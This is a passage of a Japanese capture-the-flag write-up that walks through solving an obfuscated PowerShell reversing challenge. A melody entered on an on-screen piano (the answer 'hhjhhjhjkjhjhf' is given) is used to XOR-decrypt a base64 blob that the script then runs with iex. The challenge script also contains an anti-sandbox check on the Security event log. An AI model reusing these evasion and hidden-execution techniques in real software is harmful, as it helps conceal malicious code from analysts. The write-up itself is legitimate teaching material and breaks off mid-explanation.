0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 12 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 0 -n;x '  ' -b 15 -n;x;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x '  ' -b 15 -n;x;x;

<# Host Check #>
Write-Host -b 00 -f 15 Checking Host... Please wait... -n
Try{
    If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) {
        Write-Host "This host is too fresh!"
        Exit
    }
}Catch{
    Write-Host "Failed: No admin rights!"
    Exit
}
Write-Host "Check passed"

$keytone=@{'a'=261.63}
$pk='a'
ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){
    $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k  
}
Write-Host -b 00 -f 15 "Play the secret melody."

Write-Host -b 15 -f 00 -n '   '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '   |   '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 '   |    ' 
Write-Host -b 15 -f 00 -n '   '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '   |   '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n '   '
Write-Host -b 15 -f 00 '   |    ' 
Write-Host -b 15 -f 00 -n '   '
Write-Host -b 00 -f 15 -n ' w '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n ' e '
Write-Host -b 15 -f 00 -n '   |   '
Write-Host -b 00 -f 15 -n ' t '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n ' y '
Write-Host -b 15 -f 00 -n '  '
Write-Host -b 00 -f 15 -n ' u '
Write-Host -b 15 -f 00 '   |    ' 
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00  '    '
Write-Host -b 15 -f 00 -n '  a |'
Write-Host -b 15 -f 00 -n '  s |'
Write-Host -b 15 -f 00 -n '  d |'
Write-Host -b 15 -f 00 -n '  f |'
Write-Host -b 15 -f 00 -n '  g |'
Write-Host -b 15 -f 00 -n '  h |'
Write-Host -b 15 -f 00 -n '  j |'
Write-Host -b 15 -f 00  '  k '
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00 -n '    |'
Write-Host -b 15 -f 00  '    '
Write-Host
$stage1=@();$f="";
While($stage1.length -lt 14){
    $key=(Get-Host).ui.RawUI.ReadKey("NoEcho,IncludeKeyDown")
    $k=[String]$key.Character
    $f+=$k;
    If($keytone.Contains($k)){
        $stage1+=[math]::floor($keytone[$k])
        [console]::beep($keytone[$k],500)
    }
}
$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)
If($secret.length -eq $stage1.length){
    For ($i=1; $i -le $secret.length; $i++) {
        If($secret[$i] -ne $stage1[$i]){
            Exit
        }
    }
    x "Correct. Move to the next stage."
}
$text=@"
YkwRUxVXQ05DQ1NOE1sVVU4TUxdTThBBFVdDTUwTURVTThMqFldDQUwdUxVRTBNEFVdAQUwRUxtT
TBEzFVdDQU8RUxdTbEwTNxVVQUNOEFEVUUwdQBVXQ0NOE1EWUUwRQRtVQ0FME1EVUU8RThdVTUNM
EVMVUUwRFxdVQUNCE1MXU2JOE0gWV0oxSk1KTEIoExdBSDBOE0MVO0NKTkAoERVDSTFKThNNFUwR
FBVINUFJTkAqExtBSjFKTBEoF08RVRdKO0NKTldKMUwRQBc1QUo7SlNgTBNRFVdJSEZCSkJAKBEV
QUgzSE8RQxdMHTMVSDVDSExCKxEVQ0o9SkwRQxVOE0IWSDVBSkJAKBEVQUgzThBXFTdDRExAKhMV
Q0oxTxEzFzVNSkxVSjNOE0EWN0NITE4oExdBSjFMEUUXNUNTbEwTURVVSExCKxEVQ0o9SkwRQxVO
EzEWSDVBSkJAKBEVQUgzThAxFTdDREwTURVKMUpOECoVThNPFUo3U0pOE0gWThNEFUITQBdDTBFK
F08RQBdMHRQVQUwTSBVOEEIVThNPFUNOE0oXTBFDF0wRQRtDTBFKFU4TQxZOExYVTUwTSBVMEUEX
TxFOF0NCE0oXTBNCFU4QQRVBTB1KFU4TThdMESsXQ04TRBVMEUMVThNXFk4TQRVNTBNIFUwRFBdP
EUEXQ0ITShdME0EVThBXFU4TWxVDThNKF0wRMBdMETUbQ0wRShVOE0MWThMqFU1ME0gVTBFDF08R
QxdMHUMVQUwTSBVOEEEVThNNFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNGF0wTKhVBTxFK
F0wdMxVOEzUXQ04QSBVOE0AVTBFVFUFMEUkXTBFDG0wTQRVMETMXQE4TSBVCE0MXTBNBFU4QQRVB
TB1KFU4TQxdMEVYXTBEUG0NMEUoVThNBFk4TQRVCEygXQ0wRShdPEUMXTB1DFU4TQBdDThBIFU4T
SBVMESgVQUwRSRdMEUYbTBMWFUNOE0gWThNCFUITFBdDTBFKF08RQxdMHUMVThNVF0NOEEgVThNN
FUwRQxVOE0IWQUwRShtME0EVTBFVF08RQxdDQhNKF0wTQRVOEEEVThM9FUNOE0oXTBFFF0wRKBtD
TBFKFU4TQRZOE0EVQhNAF0NMEUoXTxFDF0wdVRVOEzMXQ04QSBVOE00VTBFVFU4TQRZBTBFKG0wT
RBVMESgXQE4TSBVCE0MXTBNBFU4QKhVBTB1KFU4TFBdMEUIXQ04TRBVMEUMVThNBFk4TNxVNTBNI
FUwRQxdPEUMXTB01FUFME0gVThBBFU4TTRVMERQVQUwRSRdMEUMbTBNBFUwRQxdAThNIFUITQxdM
E0EVThAxFUFMHUoVThNDF0wRVhdMEVUbQ0wRShVOE0QWThMWFU1ME0gVTBFDF08RRhdDQhNKF0wT
QRVOEFcVQUwdShVOE0EXTBFFF0NOE0QVTBFDFU4TVxZOEyoVTUwTSBVMETMXTxFVF0NCE0oXTBNE
FU4QQhVBTB1KFU4TQBdMERcXQ04TRBVMEUAVThNDFkFMEUobTBNCFUwRQRdAThNIFUITQRdMExYV
QU8RShdMHUEVThNOF0NOEEgVThNIFUwRKBVBTBFJF0wRMxtMEzcVQ04TSBZOE0EVQhNVF0wTQRVB
TxFKF0wdQxVOE0MXTBFFF0NOE0QVTBFGFU4TKhZBTBFKG0wTRBVMERQXQE4TSBVCE04XTBNXFUFP
EUoXTB0zFU4TThdDThBIFU4TTRVMEUMVThMWFkFMEUobTBNCFUwRFBdAThNIFUITQxdME0EVThAx
FUFMHUoVThNGF0wRQxdDThNEFUwRQRVOEyoWQUwRShtMEzcVTBFDF0BOE0gVQhMzF0wTFhVBTxFK
F0wdMxVOExQXQ04QSBVOE0gVTBEUFUFMEUkXTBEzG0wTQRVDThNIFk4TQRVCEygXTBNEFUFPEUoX
TB1DFU4TRhdDThBIFU4TTRVMEVUVQUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdM
HTMVQUwTSBVOEEEVThNbFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwd
ShVOEzMXTBE2F0NOE0QVTBFBFU4TKhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsV
Q04TShdMEUAXTBFDG0wTQhVDThNIFk4TRBVCEygXQ0wRShdPEUYXTB0UFUFME0gVThBDFU4TTRVD
ThNKF0wRQBdMEUMbTBNBFUNOE0gWThNBFUITQxdME0EVQU8RShdMHUMVThNVF0wRVhdDThNEFUwR
RhVOEyoWQUwRShtME0MVTBEzF0BOE0gVQhNDF0wTQRVOEEEVQUwdShVOExQXTBFNF0NOE0QVTBFG
FU4TRBZBTBFKG0wTRBVMERQXQE4TSBVCEzUXTBMWFUFPEUoXTB1DFU4TRhdDThBIFU4TTRVMEVUV
QUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdMHTMVQUwTSBVOEEEVThNbFUwRNRVB
TBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwdShVOEzMXTBE2F0NOE0QVTBFBFU4T
KhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsVQ04TShdMEUAXTBFDG0wTQhVDThNI
Fk4TRBVCEygXQ0wRShdPEUYXTB0zFUFME0gVThBMFU4TSBVDThNKF0wRQxdMERQbQ0wRShVOE0IW
ThNDFU1ME0gVTBFAF08RQRdDQhNKF0wTQxVOEBYVQUwdShVOE0EXTBFNF0NOE0QVTBFDFU4TKhZO
E0QVTUwTSBVMEUYXTxFAF0NCE0oXTBNCFU4QFhVBTB1KFU4TQBdMEUIXQ04TRBVMEUAVThNDFkFM
EUobTBNDFUwRFBdAThNIFUITQRdME0wVQU8RShdMHUMVThMoF0wRNhdDThNEFUwRRhVOEzEWQUwR
ShtME0EVTBFGF0BOE0gVQhNDF0wTVxVBTxFKF0wdQxVOEygXTBE2FxROE10VShZOTBFTF2E=
"@

$plain=@()
$byteString = [System.Convert]::FromBase64String($text)
$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {
    for ($j = 0; $j -lt $f.length; $j++) {
        $plain+=$byteString[$i] -bxor $f[$j]
        $i++
        if ($i -ge $byteString.Length) {
            $j = $f.length
        }
    }
})
iex([System.Text.Encoding]::ASCII.GetString($plain))

While($stage1.length -lt 14) でループして入力値を受け取り,その後のifとforでチェックして If($secret[$i] -ne $stage1[$i]) を通るようであればExitしているらしいです.まずはここを通らないようにする必要がありそうです.

まずsecretですが $secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349) このように宣言されています.なんかドレミの周波数っぽいです.440はラですし.

$stage1に上記の通りに音階を準備したいところですが,どの鍵盤を叩けばラ(440)がでるかとかピアノやっている人なら鍵盤を見てわかるのでしょうか,僕はわからないので大人しくコードを読みました.

$stage1は $stage1+=[math]::floor($keytone[$k]) とあるので$keytoneと$kを見る必要がありますが,この直前に$kには入力値を入れていることがわかるので,$keytoneを見ていきます.

$keytone=@{'a'=261.63}
$pk='a'
ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){
    $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k  
}

$keytoneは連想配列として定義されていて,どうやら'a'がドらしいです.$keytoneにはこれら ('w','s','e','d','f','t','g','y','h','u','j','k') をkeyにして値を追加していっています.

この処理を別ファイルに書き出して,最終的に$keytoneを出力してみました.

PS C:\Users\ywkw1\Work> .\keytone.ps1
a 261.63
w 277.187329377222
s 293.669745699181
e 311.132257498162
d 329.633144283996
f 349.234151046506
t 370.000694323673
g 392.002080523246
y 415.31173722644
h 440.007458245659
u 466.171663254114
j 493.891672853823
k 523.26

よって, (440,440,493,440,440,493,440,493,523,493,440,493,440,349) この順番になるように打つとすると, hhjhhjhjkjhjhf です.

早速打ってみると「さくらさくら」が流れて,以下のようにpasswordを求められるようになりました.

Correct. Move to the next stage.
Enter the password: hoge

再びスクリプトを見ていきます.

$plain=@()
$byteString = [System.Convert]::FromBase64String($text)
$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {
